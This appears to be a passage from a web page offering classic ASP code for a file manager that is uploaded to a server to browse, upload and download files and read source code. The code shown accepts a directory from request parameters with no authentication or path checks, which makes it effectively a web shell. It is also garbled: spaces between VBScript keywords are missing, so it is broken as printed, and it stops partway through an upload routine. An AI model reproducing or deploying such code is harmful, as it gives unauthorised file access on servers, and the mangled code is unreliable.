It can be placed on the server to browse, upload and download files on the server, and download the file source code.
Just put all the following codes in one file, and the suffix of the file should be asp.
The code copy is as follows:
<%
thedir=request("thedir")
ifthedir=""then
folderini=server.mappath(".")&"/"
else
folderini=server.mappath(thedir)&"/"
endif
foldinfo=trim(Request.Querystring("foldinfo"))
iffoldinfo=""then
foldinfo=folderini
endif
classesclsUp
DimForm, File
DimAllowExt_
DimNoAllowExt_
PrivateoUpFileStream
PrivateisErr_
PrivateErrMessage_
PrivateisGetData_
PublicPropertyGetVersion
Version="v1.0.0"
EndProperty
PublicPropertyGetisErr
isErr=isErr_
EndProperty
PublicPropertyGetErrMessage
ErrMessage=ErrMessage_
EndProperty
PublicPropertyGetAllowExt
AllowExt=AllowExt_
EndProperty
PublicPropertyLetAllowExt(Value)
AllowExt_=LCase(Value)
EndProperty
PublicPropertyGetNoAllowExt
NoAllowExt=NoAllowExt_
EndProperty
PublicPropertyLetNoAllowExt(Value)
NoAllowExt_=LCase(Value)
EndProperty
PrivateSubClass_Initialize
isErr_=0
NoAllowExt=""
NoAllowExt=LCase(NoAllowExt)
AllowExt=""
AllowExt=LCase(AllowExt)
isGetData_=false
EndSub
PrivateSubClass_Terminate
oneErrorResumeNext
Form.RemoveAll
SetForm=Nothing
File.RemoveAll
SetFile=Nothing
oUpFileStream.Close
SetoUpFileStream=Nothing
EndSub
PublicSubGetData(MaxSize)
oneErrorResumeNext
ifisGetData_=falsethen
Dimgetupdata1,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
DimsFormValue,sFileName
DimiFindStart,iFindEnd
DimiFormStart,iFormEnd,sFormName
IfRequest.TotalBytes<1Then
isErr_=1
ErrMessage_=""
ExitSub
EndIf
IfMaxSize>0Then
IfRequest.TotalBytes>MaxSizeThen
isErr_=2
ErrMessage_=""
ExitSub
EndIf
EndIf
SetForm=Server.CreateObject("Scripting.Dictionary")
Form.CompareMode=1
SetFile=Server.CreateObject("Scripting.Dictionary")
File.CompareMode=1
SettStream=Server.CreateObject("ADODB.Stream")
SetoUpFileStream=Server.CreateObject("ADODB.Stream")
oUpFileStream.Type=1
oUpFileStream.Mode=3
oUpFileStream.Open
oUpFileStream.WriteRequest.BinaryRead(Request.TotalBytes)
oUpFileStream.Position=0
getupdata1=oUpFileStream.Read
iFormEnd=oUpFileStream.Size
bCrLf=ChrB(13)&ChrB(10)
